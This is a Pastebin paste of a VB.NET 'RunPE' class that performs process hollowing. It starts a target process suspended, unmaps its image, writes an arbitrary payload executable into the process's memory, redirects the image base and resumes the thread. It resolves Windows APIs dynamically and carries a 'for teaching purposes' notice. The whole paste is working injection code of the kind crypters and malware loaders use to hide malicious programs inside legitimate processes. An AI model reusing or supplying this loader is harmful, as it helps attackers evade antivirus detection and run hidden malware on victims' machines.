Advertisement
Guest User

Untitled

a guest
Jun 5th, 2017
978
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.92 KB | None | 0 0
  1. Class MenaPE
  2.  
  3. '------------------------------
  4. 'Title: MenaPE (RunPE Class)
  5. 'Author: Menalix
  6. 'Website: Menalix.com
  7. 'Notice: For teaching purposes
  8. '------------------------------
  9.  
  10. #Region "Static API Calls"
  11.  
  12. Declare Function LoadLibraryA Lib "kernel32" (ByVal Name As String) As IntPtr
  13. Declare Function GetProcAddress Lib "kernel32" (ByVal hProcess As IntPtr, ByVal Name As String) As IntPtr
  14. #End Region
  15.  
  16. #Region "Dynamic API Caller"
  17.  
  18. Private Function CreateApi(Of T)(ByVal Name As String, ByVal Method As String) As T
  19. Return DirectCast(DirectCast(Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(Name), Method), GetType(T)), Object), T)
  20. End Function
  21.  
  22. #End Region
  23.  
  24. #Region "Dynamic API's"
  25.  
  26. Private Delegate Function ReadProcessMemoryParameters(ByVal hProcess As UInteger, ByVal lpBaseAddress As IntPtr, ByRef lpBuffer As Integer, ByVal nSize As IntPtr, ByRef lpNumberOfBytesWritten As IntPtr) As Boolean
  27. ReadOnly ReadProcessMemory As ReadProcessMemoryParameters = CreateApi(Of ReadProcessMemoryParameters)("kernel32", "ReadProcessMemory")
  28.  
  29. Private Delegate Function CreateProcessParameters( _
  30. ByVal ApplicationName As String, _
  31. ByVal CommandLine As String, _
  32. ByVal ProcessAttributes As IntPtr, _
  33. ByVal ThreadAttributes As IntPtr, _
  34. ByVal InheritHandles As Boolean, _
  35. ByVal CreationFlags As UInteger, _
  36. ByVal Environment As IntPtr, _
  37. ByVal CurrentDirectory As String, _
  38. ByRef StartupInfo As STARTUPINFO, _
  39. ByRef ProcessInformation As PROCESS_INFORMATION) As Boolean
  40. Dim CreateProcess As CreateProcessParameters = CreateApi(Of CreateProcessParameters)("kernel32", "CreateProcessA")
  41.  
  42. Private Delegate Function NtQueryInformationProcessParameters(ByVal hProcess As IntPtr, _
  43. ByVal ProcessInformationClass As Integer, _
  44. ByRef ProcessInformation As PROCESS_BASIC_INFORMATION, _
  45. ByVal ProcessInformationLength As UInteger, _
  46. ByRef ReturnLength As UIntPtr) As UInteger
  47. ReadOnly NtQueryInformationProcess As NtQueryInformationProcessParameters = CreateApi(Of NtQueryInformationProcessParameters)("ntdll", "NtQueryInformationProcess")
  48.  
  49. Private Delegate Function GetThreadContext64Parameters( _
  50. ByVal hThread As IntPtr, _
  51. ByRef lpContext As CONTEXT32) As Boolean
  52. Dim GetThreadContext64 As GetThreadContext64Parameters = Nothing
  53.  
  54. Private Delegate Function IsWow64ProcessParameters( _
  55. ByVal hProcess As IntPtr, _
  56. ByRef Wow64Process As Boolean) As Boolean
  57. ReadOnly IsWow64Process As IsWow64ProcessParameters = CreateApi(Of IsWow64ProcessParameters)("kernel32", "IsWow64Process")
  58.  
  59. Private Delegate Function WriteProcessMemoryParameters( _
  60. ByVal hProcess As IntPtr, _
  61. ByVal lpBaseAddress As IntPtr, _
  62. ByVal lpBuffer As Byte(), _
  63. ByVal nSize As UInteger, _
  64. ByRef lpNumberOfBytesWritten As UInteger) As Boolean
  65. ReadOnly WriteProcessMemory As WriteProcessMemoryParameters = CreateApi(Of WriteProcessMemoryParameters)("kernel32", "WriteProcessMemory")
  66.  
  67. Private Delegate Function NtUnmapViewOfSectionParameters( _
  68. ByVal hProcess As IntPtr, _
  69. ByVal pBaseAddress As IntPtr) As UInteger
  70. ReadOnly NtUnmapViewOfSection As NtUnmapViewOfSectionParameters = CreateApi(Of NtUnmapViewOfSectionParameters)("ntdll", "NtUnmapViewOfSection")
  71.  
  72. Private Delegate Function VirtualAllocExParameters( _
  73. ByVal hProcess As IntPtr, _
  74. ByVal lpAddress As IntPtr, _
  75. ByVal dwSize As UInteger, _
  76. ByVal flAllocationType As UInteger, _
  77. ByVal flProtect As UInteger) As IntPtr
  78. ReadOnly VirtualAllocEx As VirtualAllocExParameters = CreateApi(Of VirtualAllocExParameters)("kernel32", "VirtualAllocEx")
  79.  
  80. Private Delegate Function ResumeThreadParameters( _
  81. ByVal hThread As IntPtr) As UInteger
  82. ReadOnly ResumeThread As ResumeThreadParameters = CreateApi(Of ResumeThreadParameters)("kernel32", "ResumeThread")
  83.  
  84. #End Region
  85.  
  86. #Region "API Structures"
  87. Private Structure PROCESS_INFORMATION
  88. Public hProcess As IntPtr
  89. Public hThread As IntPtr
  90. Public dwProcessId As UInteger
  91. Public dwThreadId As UInteger
  92. End Structure
  93. Private Structure STARTUPINFO
  94. Public cb As UInteger
  95. Public lpReserved As String
  96. Public lpDesktop As String
  97. Public lpTitle As String
  98. <Runtime.InteropServices.MarshalAs(Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=36)> _
  99. Public Misc As Byte()
  100. Public lpReserved2 As Byte
  101. Public hStdInput As IntPtr
  102. Public hStdOutput As IntPtr
  103. Public hStdError As IntPtr
  104. End Structure
  105. Structure FLOATING_SAVE_AREA
  106. Dim Control, Status, Tag, ErrorO, ErrorS, DataO, DataS As UInteger
  107. <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=80)> Dim RegisterArea As Byte()
  108. Dim State As UInteger
  109. End Structure
  110. Structure CONTEXT32
  111. Dim ContextFlags, Dr0, Dr1, Dr2, Dr3, Dr6, Dr7 As UInteger
  112. Dim FloatSave As FLOATING_SAVE_AREA
  113. Dim SegGs, SegFs, SegEs, SegDs, Edi, Esi, Ebx, Edx, Ecx, Eax, Ebp, Eip, SegCs, EFlags, Esp, SegSs As UInteger
  114. <System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.ByValArray, SizeConst:=512)> Dim ExtendedRegisters As Byte()
  115. End Structure
  116. Structure PROCESS_BASIC_INFORMATION
  117. Public ExitStatus As IntPtr
  118. Public PebBaseAddress As IntPtr
  119. Public AffinityMask As IntPtr
  120. Public BasePriority As IntPtr
  121. Public UniqueProcessID As IntPtr
  122. Public InheritedFromUniqueProcessId As IntPtr
  123. End Structure
  124. #End Region
  125.  
  126. #Region "Injection"
  127.  
  128. Public Function Run(ByVal path As String, ByVal payload As Byte(), ByVal creationflag As Integer) As Boolean
  129. For I As Integer = 1 To 5
  130. If HandleRun(path, payload, creationflag) Then Return True
  131. Next
  132. Return False
  133. End Function
  134.  
  135. Private Function HandleRun(ByVal Path As String, ByVal payload As Byte(), ByVal creationflag As Integer) As Boolean
  136. Dim ReadWrite As Integer = Nothing
  137. Dim QuotedPath As String = String.Format("""{0}""", Path)
  138.  
  139. Dim SI As New STARTUPINFO
  140. Dim PI As New PROCESS_INFORMATION
  141.  
  142. SI.cb = CUInt(Runtime.InteropServices.Marshal.SizeOf(GetType(STARTUPINFO))) 'Parses the size of the structure to the structure, so it retrieves the right size of data
  143.  
  144. Try
  145. 'COMMENT: Creating a target process in suspended state, which makes it patch ready and we also retrieves its process information and startup information.
  146. If Not CreateProcess(Path, QuotedPath, IntPtr.Zero, IntPtr.Zero, True, creationflag, IntPtr.Zero, IO.Directory.GetCurrentDirectory, SI, PI) Then Throw New Exception()
  147.  
  148. 'COMMENT: Defines some variables we need in the next process
  149. Dim ProccessInfo As New PROCESS_BASIC_INFORMATION
  150. Dim RetLength As UInteger
  151. Dim Context = Nothing
  152. Dim PEBAddress32 As Integer = Nothing
  153. Dim PEBAddress64 As Int64 = Nothing
  154. Dim TargetIs64 As Boolean = Nothing
  155. Dim IsWow64Proc As Boolean = False
  156.  
  157. IsWow64Process(PI.hProcess, IsWow64Proc) 'COMMENT: Retrieves Boolean to know if target process is a 32bit process running in 32bit system, or a 32bit process running under WOW64 in a 64bit system.
  158. If IsWow64Proc Or IntPtr.Size = 4 Then 'COMMENT: Checks the Boolean retrieved from before OR checks if our calling process is 32bit
  159. Context = New CONTEXT32
  160. Context.ContextFlags = &H1000002L 'COMMENT: Parses the context flag CONTEXT_AMD64(&H00100000L) + CONTEXT_INTEGER(0x00000002L) to tell that we want a structure of a 32bit process running under WOW64, you can see all context flags in winnt.h header file.
  161. If IsWow64Proc AndAlso IntPtr.Size = 8 Then 'COMMENT: Checks if our own process is 64bit and the target process is 32bit in wow64
  162. GetThreadContext64 = CreateApi(Of GetThreadContext64Parameters)("kernel32", "Wow64GetThreadContext") 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  163. If Not GetThreadContext64(PI.hThread, Context) Then Throw New Exception
  164. Console.WriteLine(Context.Ebx)
  165. PEBAddress32 = Context.Ebx
  166. TargetIs64 = False
  167. Else 'COMMENT: If our process is 32bit and the target process is 32bit we get here.
  168. NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  169. PEBAddress32 = ProccessInfo.PebBaseAddress
  170. TargetIs64 = False
  171. End If
  172. Else 'COMMENT: If our process is 64bit and the target process is 64bit we get here.
  173. NtQueryInformationProcess(PI.hProcess, 0, ProccessInfo, Runtime.InteropServices.Marshal.SizeOf(ProccessInfo), RetLength) 'COMMENT: Retrieves a structure of information to retrieve the PEBAddress to later on know where we gonna use WriteProcessMemory to write our payload
  174. PEBAddress64 = ProccessInfo.PebBaseAddress
  175. TargetIs64 = True
  176. End If
  177.  
  178.  
  179. Dim BaseAddress As IntPtr
  180. If TargetIs64 = True Then
  181. ReadProcessMemory(PI.hProcess, PEBAddress64 + &H10, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 64bit Process, which is where the exe data starts
  182. Else
  183. ReadProcessMemory(PI.hProcess, PEBAddress32 + &H8, BaseAddress, 4, ReadWrite) 'COMMENT: Reads the BaseAddress of a 32bit Process, which is where the exe data starts
  184. End If
  185.  
  186. Dim PayloadIs64 As Boolean = False
  187. Dim dwPEHeaderAddress As Integer = BitConverter.ToInt32(payload, &H3C) 'COMMENT: Gets the PEHeader start address
  188. Dim dwNetDirFlags As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H398) 'COMMENT: Gets the .NET Header Flags value to determine if its a AnyCPU Compiled exe or not
  189. Dim wMachine As Integer = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H4) 'COMMENT: Gets the reads the Machine value
  190.  
  191. If wMachine = 8664 Then : PayloadIs64 = True 'Checks the Machine value to know if payload is 64bit or not"
  192. Else : PayloadIs64 = False : End If
  193.  
  194. If PayloadIs64 = False Then
  195. If dwNetDirFlags = &H3 Then 'To make sure we don't rewrite flags on a Payload which is already AnyCPU Compiled, it will only slow us down
  196. Buffer.SetByte(payload, dwPEHeaderAddress + &H398, &H1) 'Replaces the .NET Header Flag on a 32bit compiled payload, to make it possible doing 32bit -> 64bit injection
  197. End If
  198. End If
  199.  
  200. Dim dwImageBase As Integer
  201. If PayloadIs64 = True Then
  202. dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H30) 'Reads the ImageBase value of a 64bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual addressstart location for our exe in its own memory space
  203. Else
  204. dwImageBase = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H34) 'Reads the ImageBase value of a 32bit payload, it's kind of unnessecary as ImageBase should always be: &H400000, this is the virtual address start location for our exe in its own memory space
  205. End If
  206.  
  207. If dwImageBase = BaseAddress Then 'COMMENT: If the BaseAddress of our Exe is matching the ImageBase, it's because it's mapped and we have to unmap it
  208. If Not NtUnmapViewOfSection(PI.hProcess, BaseAddress) = 0 Then Throw New Exception() 'COMMENT: Unmapping it
  209. End If
  210.  
  211. Dim dwSizeOfImage As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H50)
  212. Dim dwNewImageBase As Integer = VirtualAllocEx(PI.hProcess, dwImageBase, dwSizeOfImage, &H3000, &H40) 'COMMENT: Makes the process ready to write in by specifying how much space we need to do it and where we need it
  213. If dwNewImageBase = 0 Then Throw New Exception()
  214.  
  215. Dim dwSizeOfHeaders As Integer = BitConverter.ToInt32(payload, dwPEHeaderAddress + &H54)
  216. If Not WriteProcessMemory(PI.hProcess, dwNewImageBase, payload, dwSizeOfHeaders, ReadWrite) Then Throw New Exception() 'Writes the size of the payloads PE header to the target
  217.  
  218. 'COMMENT: This is here where most of the magic happens. We write in all our sections data, which contains our resssources, code and the information to utilize the sections: VirtualAddress, SizeOfRawData and PointerToRawData
  219. Dim SizeOfOptionalHeader As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H14)
  220. Dim SectionOffset As Integer = dwPEHeaderAddress + (&H16 + SizeOfOptionalHeader + &H2)
  221. Dim NumberOfSections As Short = BitConverter.ToInt16(payload, dwPEHeaderAddress + &H6)
  222. For I As Integer = 0 To NumberOfSections - 1
  223. Dim VirtualAddress As Integer = BitConverter.ToInt32(payload, SectionOffset + &HC)
  224. Dim SizeOfRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H10)
  225. Dim PointerToRawData As Integer = BitConverter.ToInt32(payload, SectionOffset + &H14)
  226. If Not SizeOfRawData = 0 Then
  227. Dim SectionData(SizeOfRawData - 1) As Byte
  228. Buffer.BlockCopy(payload, PointerToRawData, SectionData, 0, SectionData.Length)
  229. If Not WriteProcessMemory(PI.hProcess, dwNewImageBase + VirtualAddress, SectionData, SectionData.Length, ReadWrite) Then Throw New Exception()
  230. End If
  231. SectionOffset += &H28
  232. Next
  233.  
  234. Dim PointerData As Byte() = BitConverter.GetBytes(dwNewImageBase)
  235. If TargetIs64 = True Then
  236. If Not WriteProcessMemory(PI.hProcess, PEBAddress64 + &H10, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new etrypoint for 64bit target
  237. Else
  238. If Not WriteProcessMemory(PI.hProcess, PEBAddress32 + &H8, PointerData, 4, ReadWrite) Then Throw New Exception() 'Writes the new entrypoint for 32bit target
  239. End If
  240. If ResumeThread(PI.hThread) = -1 Then Throw New Exception() 'Resumes the suspended target with all its new exciting data
  241.  
  242. Catch ex As Exception
  243. Dim P As Process = Process.GetProcessById(CInt(PI.dwProcessId))
  244. If P IsNot Nothing Then P.Kill()
  245. Return False
  246. End Try
  247.  
  248. Return True
  249. End Function
  250. #End Region
  251.  
  252. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement